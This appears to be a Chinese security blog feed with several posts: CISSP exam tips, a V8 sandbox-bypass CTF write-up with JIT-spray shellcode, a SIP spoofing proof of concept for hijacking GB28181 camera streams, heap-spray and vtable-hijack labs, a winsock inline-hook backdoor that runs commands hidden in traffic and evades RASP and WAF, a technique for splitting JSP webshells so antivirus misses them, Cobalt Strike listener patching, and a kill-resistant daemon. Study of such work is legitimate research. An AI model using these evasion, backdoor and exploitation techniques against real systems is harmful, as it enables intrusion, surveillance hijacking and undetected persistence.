直接在 ISC 官网找 CISSP,单次考试 $749,补考需要再交 $749。
最近 ISC 有 “考试安心保障” 活动, +$199 可以多一次补考的机会,怕一次过不去,我买了这个总价 $948。
虽然最后我没用到补考,但还是建议没信心的同学可以考虑下这个。
《CISSP官方学习指南(第8版)》,也称 OSG,为什么不是最新第9版?因为这本书自20年到我手上,已经在某个箱子底下压了2年。
https://firmianay.gitbook.io/cissp-notes/ firmianay大佬的总结归纳,虽然不是百分百全,但也很好用了,有几个域我没来得及看纸质书,直接看的这个学的。
铭学在线 https://exam.maxstu.com/h5/100000/ ,这是用来刷题的,题目质量还可以,看完一章拿来巩固下,还自带错题集。
OSG 能看完就尽量看完,一定要看,推荐纸质书,方便笔记。
书后面的练习要做,并且能完全理解。
书刷完以后,可以考虑二刷下 firmianay 的笔记,看完一个域做对应的铭学里的题。
铭学的题质量不错,还带有解析,务必理解。
然后就可以考虑刷模拟题了,模拟题网上资源应该不少,各位自己想办法。
可能你会找到翻译很烂的模拟题,做下来正确率也不高。不用怀疑,考试的题目就这水平,就刷题吧,遇到无法理解的 google 搜一下英文原题,一般都能搜到解释,可以 google hack 一下 examtopics.com,里面有不少 CISSP 的考题。
据说模拟题刷到正确率 60% 就能去考试了,我感觉是差不多。
因为我给自己排的时间比较紧,在考试前的最后两天才把所有域的知识刷完,然后刷了一天的题,就匆匆忙忙的就去考试了。
模拟题大概做了 100 多题,发现正确率很低,可能就 50% 左右,主要原因是翻译的题目看的很难受,题意很难理解,还特地问了下朋友考试是不是就这样子,得到肯定的答案后,考试前一晚都没睡好,一直刷题刷到2点。
书后的习题以及铭学的题是非常友好的,题目题意选项都是能比较容易就理解的。
真实考题比较糟心,有不少翻译很难理解,需要自己看英语原题的,平时做题尽量对照着看下英语锻炼下。
我看到不少题是有争议的,因为在不同场景下的最佳实践是不一样的,可能多个选项都是对的。当然,也有可能考点藏的比较深,多思考一下。
遇到中英文都无法理解的题,就机选吧,不要在考试的时候搞自己心态(这很重要)。
有些题目可能有多个正确答案,选你觉得最合适的就行,也不用太纠结。
我选的考场是上海徐汇区的腾飞大厦。
本来准备住考场附近,关注了下酒店价格有点小离谱,决定还是住家里,考试当天打个车。
6点从松江的家里出发,7点到腾飞大厦。上2楼,闸机刷脸上楼,来太早了工作人员都没来,在门外等了半个小时。
7点半开始入场,做考前讲解,寄存物品(一人一柜),身份验证。
接近8点进入考场,坐下以后就可以开始考试。
考场备了隔音耳机,效果不错。
考试过程可以离场喝水吃东西,跟监考的工作人员说一声就行。
考试的时间非常充裕,所以我做到150题的时候离场休息了,实在是坐太久了屁股疼 Orz。
估摸着休息了有20分钟,又回去战斗了。
我出考场的时候大概 11:30 ,快得有点超预期了。
跟着指引在门口打印了成绩单,看到单子上恭喜两个字小小激动了一下。
我平时的工作是挖洞搞研究,对安全风向管理、资产管理、运营这种和技术关联不大的领域接触的少,了解的少,通过 CISSP 的认证,填补了这块知识的空缺,以后也许可能会用到吧。
]]>本文首发于跳跳糖 https://tttang.com/archive/1443/
这是 DiceCTF2022 的一道题 memory hole。
题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,结束。
但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写,能访问的范围是 array 基址后连续的 4G 地址空间。
绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。
【题目地址】 https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz
64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。
如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

开启后:

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBuffer 的 BackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。
V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssembly 的 RWX 页指针和 ArrayBuffer 的 BackingStore 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。
V8 Sandbox - High-Level Design Doc
如下,未开启 V8 沙箱时的 ArrayBuffer 对象内存布局:

开启沙箱后,BackingStore 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。

此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。
(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html)
先 DebugPrint 一个 JSFunction 的内存结构:

这里有一个 code 字段,它指向了函数要执行的汇编指令,处于 r-x 页。


用 gdb 修改 code 字段 0x41414141 。

继续执行,出现异常,此时 rcx 是 0x2a0c41414141 ,即基址(0x2a0c00000000)+偏移(0x41414141)。

看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0 ,rip 就会在之后被设置为 rcx+0x3f ,从而劫持 rip ,这个条件是比较容易满足的。

JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000 。

这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。

立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp 连接起来,就能将一个个立即数串联起来,实现完整的功能。
jmp 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。
参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。
1 | from pwn import * |
生成出来的 shellcode 是通过系统调用执行 /bin/sh 。
跟一下
1 | gef➤ job 0x3de400045681 |
以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp 串联起来了。
1 | gef➤ x/3i 0x3de40004573c |
接下来就是劫持 rip 。
修改 JSFunction 对象的 code 字段,令 code + 0x3f = 0x3de40004573c 。
code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ,即原 code 值加 0x7c ,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。

1 | function dp(x) {}// %DebugPrint(x);} |
(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/)
尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。
WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。
下面是一个 WasmInstance 对象:
1 | DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace |
查看内存,imported_mutable_globals 确实还是64位。
1 | gef➤ x/20xg 0x3b17081d2f3d-1 |
1 | var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n); |
以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。
注意global 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。
DebugPrint 一下这个 global
1 | DebugPrint: 0xc7908048d0d: [WasmGlobalObject] |
untagged_buffer 是一个 ArrayBuffer,backing_store 是 0x3b1800002000 ,也就是 global 存储数据的地址。
1 | gef➤ job 0x3b1708048d31 |
回过头看上面 wasm_instance 的 imported_mutable_globals
1 | DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace |
这里的第一个元素即是 global 的 backing_store 地址
1 | gef➤ x/10xg 0x560e9be53770 |
我们伪造一个 imported_mutable_globals 替换掉 wasm_instance 的 imported_mutable_globals ,即可做到任意地址读写。
imported_mutable_globals 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。
创建一个 array ,第一个元素是要读写的任意地址。
再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址,覆盖掉用来的 imported_mutable_globals 。
泄漏 array 的偏移按常规的路子来就行,泄漏 js_base 见下一节。
一切搞好后,要读写任意地址,改 array[0] 即可。
泄漏基址 js_base 并不难,多次运行 d8 ,搜索下基址:
第一次
1 | gef➤ search-pattern 0x1c53 |
第二次
1 | gef➤ search-pattern 0x00002c3b |
第三次
1 | gef➤ search-pattern 0x3f13 |
可以看到,在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。
具体的方法,构造一个 BigInt64Array 修改 external_pointer ,以及 byte_length ,让 BigInt64Array 能从 js_base 开始访问。
这里由于沙箱,data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ,需要注意 external_pointer 变为了偏移,如下图的 0x1000000 。

修改 external_pointer 和 base_pointer 为 0 ,BigIng64Array 就会从 js_base 开始访问了。
参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。
1 | (module |
用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。
现在可以使用 WASM 修改全局变量了:
1 | var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67]) |
1 | function dp(x) {} |

GB28181 是视频监控领域的国家标准,规定了公共安全视频监控联网系统的互联结构, 传输、交换、控制的基本要求和安全性要求, 以及控制、传输流程和协议接口等技术要求。
目前大多数厂商的摄像头都支持这个协议,用户可以自己实现媒体服务器,使用这个协议从摄像头上拉流观看。
见图

GB28181 协议会话通道用的是 SIP 协议,往下看需要一些 SIP 协议相关的知识。
带入到实际场景中,各个实体的身份 ⬇️:
REGISTER 包注册到 SIP 服务器过程:
1、媒体流接收者向 SIP 服务器发送 Invite 消息,消息头域中携带 Subject 字段,表明点播的视频 源 ID、分辨率、媒体流接收者 ID、接收端媒体流序列号标识等参数,SDP 消息体中 s 字段为“Play” 代表实时点播;
2、SIP 服务器收到 Invite 请求后,通过三方呼叫控制建立媒体服务器和媒体流发送者之间的媒体连接。向媒体服务器发送 Invite 消息,此消息不携带 SDP 消息体;
3、媒体服务器收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体中 描述了媒体服务器接收媒体流的 IP、端口、媒体格式等内容;
4、SIP 服务器收到媒体服务器返回的 200OK 响应后,向媒体流发送者发送 Invite 请求,请求中携 带消息 3 中媒体服务器回复的 200OK 响应消息体,并且修改 s 字段为“Play”代表实时点播,增 加 y 字段描述 SSRC 值,f 字段描述媒体参数;
5、媒体流发送者收到 SIP 服务器的 Invite 请求后,回复 200OK 响应,携带 SDP 消息体,消息体 中描述了媒体流发送者发送媒体流的 IP、端口、媒体格式、SSRC 字段等内容;
6、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体服务器发送 ACK 请求,请求中携 带消息 5 中媒体流发送者回复的 200OK 响应消息体,完成与媒体服务器的 Invite 会话建立过程;
7、SIP 服务器收到媒体流发送者返回的 200OK 响应后,向媒体流发送者发送 ACK 请求,请求中 不携带消息体,完成与媒体流发送者的 Invite 会话建立过程;
之后媒体流发送者推流到媒体服务器,媒体服务器在转发给接收者。
看上面的活动图,媒体流发送者在收到 SIP 服务器的 INVITE + ACK 包之后就开始推流,BYE 包用于终止推流,其它实体和它并没有交互。
一般情况下,NVR 支持的 SIP 是基于 UDP 的,而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者(即NVR)没有对接受的信令校验认证,攻击者只要知道 SIP 服务器的 IP 地址,就可以伪造 SIP 服务器的身份,向 NVR 发起推流请求 (INVITE + ACK 包),推流到任意的流媒体服务器。
如下

最终效果是绕过 SIP 服务器,直接看摄像头了。
用 scapy 写 POC 很容易
1 | from scapy.all import * |
目前国内要求运营商在接入网上进行源地址验证,所以公网上这种攻击可能不是那么容易成功,但总有些路由器设备配置会存在缺陷,还是可以伪造的,看运气了。
GB28181 中有提到关于 “SIP 信令认证”,在 SIP 服务器和媒体流发送者之间加入一个加密模块,每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验,校验通过的信令才会被处理。

前端设备: 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。
这只是一个补充的部分,还没有看到有哪家监控厂商实现,因为需要有配套的 SIP 服务器,大客户才能定制吧。
如果对安全性要求比较高,可以考虑让 NVR 走安全隧道。
]]>[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。
堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。
理论上这里的
0x0C0C0C0C可以替换为别的,比如0x90、0x0D等不影响shellcode 执行的指令。
实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

为什么不用
0x90909090(nop;nop;nop;nop;) ? 是因为0x90909090 > 0x7fffffff处在内核空间,程序跳到那会 crash。
开始调吧,还是 VS2019 + x32dbg 。
代码:
1 |
|
运行程序

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。
bp 0x0c0c0c0c 打上断点,继续。


这里模拟了堆喷的过程,申请到的 0x0C0C0C0C 在 chunk\[158\] 里。
可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到
0x0C0C0C0C,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。


现在已经 slides 和 shellcode 都写上去了。
继续,就到调用虚函数了,顺利的话就会弹出计算器。
注意,
malloc的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。
C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。
每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。
虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。
借用网上的一张图

总结下虚函数表的特性:
虚函数表在 .data 段,仅可读,无法修改
虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。
虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,
下面调试一下,环境 VS2019 + x32dbg:
代码:
1 | #include <iostream> |

x32dbg 里看内存

0x014FD028 是 vptr ,指向虚函数表。

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

试验一下。
要在内存中伪造出一个虚表,将对象的虚表指针指向它。
修改代码
1 |
|
重新执行

在 0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020 。

0x00535020 是 shellcode

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

应该就可以执行 shellcode 了。

本文首发 https://xz.aliyun.com/t/9774
标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。
Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。
winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。
由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。
Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。
具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。
安装钩子
1 |
|
卸载钩子
1 | void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) { |
hook recv 的函数,程序在执行 recv 时,会先进入这个函数。
在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCK、END_BLOCK块,有的话就取出块之间的命令,执行。
1 | int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) { |
这里还 hook 了
WSARecv,是因为我在 Tomcat 上测试遇到个问题 hookrecv后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是WSARecv、WSASend等带WSA前缀的,加了 hook 点之后能正常读到数据了。
DLL 入口,调用安装钩子
1 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { |


先安装 VisualStudio 2019,略详细过程
clone 开发环境
1 | cd /d d:\ |
设置环境变量
1 | set DEPOT_TOOLS_WIN_TOOLCHAIN=0 |
clone v8 仓库,完整的大概 700M
1 | fetch v8 |
同步第三方组件,会花一点时间
1 | gclient sync |
生成编译配置
1 | python tools/dev/v8gen.py ia32.debug |
编译,大概 10 分钟
1 | ninja -C .\out.gn\ia32.debug d8 -j12 |
完成
1 | python .\build\util\lastchange.py .\build\util\LASTCHANGE |
1 | python .\tools\clang\scripts\update.py |
某云的骑士号称是采用先进的动态监测技术,结合主机智能内核AI检测技术等多种引擎零规则查杀,做到低误报,高查杀率。
测下来查杀率确实高,只要出现 Runtime.getRuntime().exec("calc") 等命令执行直接相关的方法调用就杀,不过一个样本测下来要一分钟,速度相当慢,实际落地还要很长的路要走。/狗头
开始讲绕过。
首先是命令执行的sink,直接写 Runtime.getRuntime().exec() 即使jsp编译不通过也是会被check到的,说明引擎有一些强检测逻辑,类似正则,匹配即杀。而如果迂回一下,我们找一个跳板,比如 new ProcessBuilder() ,或者反射构造 ProcessImpl 实例,还不会被杀,(用法参考三梦的文章)。
构造好跳板,当调用 start() 实际执行的时候,如果命令是硬编码的没有杀,如果是从 request.getParameter(“xxx”) 取的还是会杀的。
说明引擎应该用到了类似污点分析的原理,更换命令执行的 sink 是可以绕过的,但要完全绕过还要找别的 source,试了一圈 request 对象的方法,只有 request.getSchema() 等内容不可控方法的时候不会杀,内容不可控有啥用:(
研究了下,我想到了这个引擎的问题(应该也通杀别的),就是在检测时,无法构造出完整的上下文环境。它是单文件一个个扫过去的,如果我们拆分 soure-sink 到多个文件呢,扫任意一个jsp都没问题。甚至很可能因为通不过编译,压根儿动态监测不起来。
下面用到 jsp 的一个特性 include 指令。
include 指令用于通知 JSP 引擎在翻译当前 JSP 页面时,将其他文件中的内容合并进当前 JSP 页面转换成的 Servlet 源文件中,这种在源文件级别进行引入的方式,称为静态引入,当前 JSP 页面与静态引入的文件紧密结合为一个 Servlet。这些文件可以是 JSP 页面、HTML 页面、文本文件或是一段 Java 代码。
我们完全可以把完整的逻辑拆分,即把参数获取和命令执行的分开。
举个例子
AB.jsp
1 | <%@ page import="javax.el.ELProcessor" %> |
source request.getParameter,通过 sink ELProcessor.eval 执行命令,会被杀。
拆分逻辑到 A.jsp B.jsp
A.jsp
1 | <% |
B.jsp ELProcessor.eval 执行命令
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
A.jsp 只负责取参,看起来没有问题。
B.jsp sink没有被硬杀,而且缺少 A.jsp 的情况编译不过,跑不起来动态监测不了。
完全绕过。
]]>环境是 MacOS 10.15 Catalina,VBox 6.1.16 。
Xcode10之后编译系统改了,我们需要用老版本的Xcode编译,所以要用 XcodeLegacy 。
1 | git clone --depth=1 https://hub.fastgit.org/devernay/xcodelegacy.git |
再下载 Xcode6.4 ,放到 xcodelegacy 目录下。
安装一下
1 | ./XcodeLegacy.sh -osx109 buildpackages |
brew install libidl openssl pkg-config qtlink 的时候可能会因为目标版本不一致出现问题,需要用 10.9 编译的 openssl
下载 openssl ,解压后编译
1 | ./config CFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" CXXFLAGS="-g -O2 -mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" LDFLAGS="-mmacosx-version-min=10.9 -isysroot /Developer/SDKs/MacOSX10.9.sdk" --prefix=/usr/local/opt/[email protected] |
下面开始编译,中途可能还会有些编译错误,需要自己解决一下。末尾有我遇到的问题及解决。
先修改 configure 的 check_darwinversion()
1 | check_darwinversion() |
配置
1 | ./configure --disable-hardening --with-xcode-dir=/Developer/SDKs/MacOSX10.9.sdk \ |
修改 tools/kBuildTools/VBoxXcode62.kmk ,开启 c++11 支持
1 | -TOOL_VBoxXcode62_CXXFLAGS ?= |
一处程序错误 src/VBox/Devices/USB/darwin/USBProxyDevice-darwin.cpp
1 | - AssertReturn(RefMatchingDict != IO_OBJECT_NULL, VERR_OPEN_FAILED); |
开始编译
1 | source env.sh |
报错 yasm: Bad CPU type in executable
因为不支持 32 位应用,需要用 x64 的 yasm 替换,
brew install yasm && cp /usr/local/Cellar/yasm/1.3.0_2/bin/yasm tools/darwin.amd64/bin/
报错 kBuild: iasl VBoxDD ....
问题同上,找 x64 的 iasl 替换,https://bitbucket.org/RehabMan/acpica/downloads/iasl.zip ,
cp iasl tools/darwin.amd64/bin/iasl
找不到 libqcocoa.dylib
修改 AutoConfig.kmk
1 | - PATH_SDK_QT5_INC := /usr/local/Cellar/qt/5.15.2/Frameworks |
或者创建软链接
1 | mkdir /usr/local/Cellar/qt/5.15.2/Frameworks/plugins |
我配置了一个 8880 端口的 listener,并配置了 CloudFront (回源端口 8880),生成了指向 80 端口的后门。但运行后并没有上线,Wireshark 抓包分析一下。
为了生成指向 80 端口的后门,我额外配置了一个 80 端口的 listener。
可以看到,第一步确实向 cdn 请求了,也成功从 teamserver 获得了后续的 shellcode 并加载成功了(不然不会有第二步的请求),但是第二步开始向 8880 端口拉取任务了,这里就出问题了,因为 cdn 域名的 8880 并不能到达 teamserver 的 8880。
所以我们要修改第二步的请求,强制让它继续和 80 端口通信。

那么,为什么第一步的访问的端口是对的,第二个是错的呢。
我们知道一般用的CS后门是 staging 模式的,执行过程可以分为两个部分 stage 和 stager 。第一步执行的是 stager ,负责通过各种路径(http&https&tcp)下载 stage,然后注入到内存中执行。第二步的 stage 是真正实现后门功能的部分。
因为生成 beacon 时,用的 listener 是监听 80 端口的,所以 beacon 第一次请求的确是向 80 端口发起的。
但实际上 cdn 的 80 端口指向的是 8880 端口的 listener,8880 接到请求,会返回 stage,stage 时在 teamserver 生成的,它并不知道我们是在通过 80 端口访问它,此时的 stage 是指向 8880 的。这造成了后续的请求都会指向 8880。
要解决问题,必须修改 teamserver 生成的 stage 指向的端口,但搜了一大圈,并没有找到相关的解决方法,AggressorScript 也只能在客户端动动刀子,想要修改 Listener 相关的得要从根源入手。
我的思路是在创建 listener 的时候,再加一个选项,让 stage 用的端口和 listener 实际监听的端口分开。
当然做👇这些之前要先反编译,我这里用的
fernflower,用法略过。
CobaltStrike 用的是 swing 写的 UI,创建 Listener 的部分在 aggressor.dialogs.ListenerDialog.show()

用了 DialogManager 包装了每个 Dialog,调用 DialogManager.text 可以在当前 dialog 创建输入框,命名为 bind port,作为实际监听的端口。
来加一个输入框:

当 Save 按钮按下时,会在后续触发到 ListenerDialog.dialogResult

这里检查了一下 domain 是否超长,通过了,就推送一个 listeners.create 请求到 teamserver,参数是 listener 的名字和配置信息,再之后 listener 就会在 teamserver 建立。
我们下一步是要把 bind port 传到 this.options,这里有点绕,在调用 DialogManager.text 的时候创建一个内部的 DialogListener。

在 DialogManager.addDilogListenerInternal 可以看到会把创建的 DialogListener 加到

Save 按钮实际是 DialogManager.action_noclose 生成的
这里的,点击事件可以在这里找到。

这里调用了之前的创建的匿名 DialogListener,将值传到 this.options,所以创建的输入框会自动把值添加到配置里来,😭绕了一圈啥也不用干。
为了能在 Listeners 这个 Tab 直接看到设置的 bind port, 给 aggressor.windows.ListenerManager 的 cols 加上 bind port 就会自动加载进来了。

效果如下:

在各处调用 Listener 时,会创建 common.Listener 实例,里面是没有 bind port 字段的,所以要给它加上。


teamserver 接到创建 Listener 的请求后,会先把 Listener 序列化保存下来,以便下次 teamserver 重启的时候可以自动监听。
然后本地调用 beacons.start 。这里的调用链有点长:
server.Beacons.call() -> server.Beacons.setup() -> beacon.BeaconsSetup.start() -> server.WebCalls.getWebServer() -> beacon.BeaconSetup.exportBeaconStage()
最主要的是两个地方 server.WebCalls.getWebServer() 创建 Web 服务,beacon.BeaconSetup.exportBeaconStage 构造 Stage 的 shellcode。


这里的 var1 是监听的端口号,默认的 Stage 指向的端口和 Listener 监听的端口号是同一个,现在我们要让他们的端口分离,因为 start() 参数不是 Map ,所以不能直接往里加一个参数,只能重写或者重载一下这个方法。
我直接重写了一下,加了一个参数 bindPort,创建 Web 服务时,就用这个端口。Stage 还是用原来的 var1 作为端口,不用修改。这样创建 Listener 的时候,原来端口号代表 Stage 用的

相应的,上层的调用链也要修改一下。


然后要把修改过的代码编译一下,替换到 jar 里。
1 | javac -cp cobaltstrike.jar common/Listener.java |
⬆️可能有点遗漏的,各位自己调一下吧。

这是一篇19年的存稿,当时还没有 CS 4.0,这个问题 4.0 已经解决了,可以配置 Listener 的 C2 Port 和 Bind Port,将 C2 的端口与 teamserver 实际监听的端口分开。
现在放出来,也算抛砖引玉,给想要修改 CS 的小伙计提供点经验,欢迎交流~
]]>nohup 与 &,比如 nohup java -jar abc.jar &。nohup 的作用是忽略 SIGHUP 信号。当一个shell关闭后,会向运行的程序发送 SIGHUP 信号,通知同一shell内的各个进程,它们与控制终端不再关联。系统对 SIGHUP 信号的默认处理是终止收到该信号的进程。
& 的作用是忽略 SIGINT 信号。Ctrl+C 会向前台进程发送 SIGINT 信号,以关闭程序。
综上,只要我们能实现 nohup 和 & 的功能,就能让程序在后台运行,不会因为 shell 断开而中断了。
由于题目是用 Java 实现,而 Java 本身并不能进行如此底层的操作,所以思路是使用 JNI,借助 C/C++ 实现。
直接上代码:
1 | package io.github.jayl1n.daemon; |
javah io.github.jayl1n.daemon.Main 生成头文件,添加到 C++ 项目里。
1 |
|
生成出来的动态库,需要放到与jar包相同的目录下,或者是 java.library.path 指定的路径,否则在 System.loadLibrary 时无法找到动态库。
java.library.path 变量可以在执行时添加 -Djava.library.path=/a/b/c 参数指定。System.getProperty("java.library.path") 可以查看当前的路径。但无法通过 System.setProperty("java.library.path","/a/b/c") 修改,因为在 JVM 启动时就会缓存这个值,后续修改不会生效,可以通过反射来清除 ClassLoader 的 sys_paths 变量(缓存标志),重新初始化 usr_paths,代码如下:
java/lang/ClassLoader.java:1815
1 | static void loadLibrary(Class<?> fromClass, String name, boolean isAbsolute) { |
第三行,sys_paths 不为 null 时,不会再初始化 java.library.path,相当于是第一次读取就被缓存到了 usr_paths。
通过反射清除 sys_paths:
1 | try { |
👆上面说了一个奇迹淫巧,在有多个动态库,相互依赖时比较有用。
这里其实也可以使用 System.load 直接指定绝对路径(注意和System.loadLibrary 的区别)。
由于动态库无法直接打包到 jar 包里用,所以一般是要分开上传到服务器。
为了优雅的使用动态库,可以硬编码到 jar 包里,在执行时释放出来,JNI 支持延时加载动态库。
这里我使用 base64 编码, cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64,下面写个例子,定时输出字符到 /tmp/test:
1 | public class Main { |
效果:

kill 命令默认是发送 SIGTERM 信号,友好地通知进程该结束了。进程在这种情况下可以不响应 SIGTERM(即忽略),继续执行下去。
也就是说只要再 signal(SIGTERM, SIG_IGN); 就可以防止被 kill 杀掉了,经过测试确实可以实现,有兴趣的可以自己试一下。
不过,当 kill 命令带参数时(kill -9),发送的是 SIGKILL 信号,这个信号无法被捕获或忽略,CTF 里有常用的杀不死马的方法 kill -9 -1(杀死除init进程外的所有进程),此时,程序无法感知到 SIGKILL 信号,就被系统干掉了。
目前我在某美股上市公司做红蓝对抗,实习了这么久,收获了挺多,打算有时间了写出来。
敬请关注,祝大家新年快乐~ (手动龇牙
]]>第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。
题目给了一个webshell,弱口令 123456 直接进去。
Tomcat启用了Java Security Manager,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。
如果顺利,应该可以收集到以下信息:
cookie处存在反序列化的点,有反序列化漏洞。
查看lib目录,存在 commons-collections 3.1 gadget。
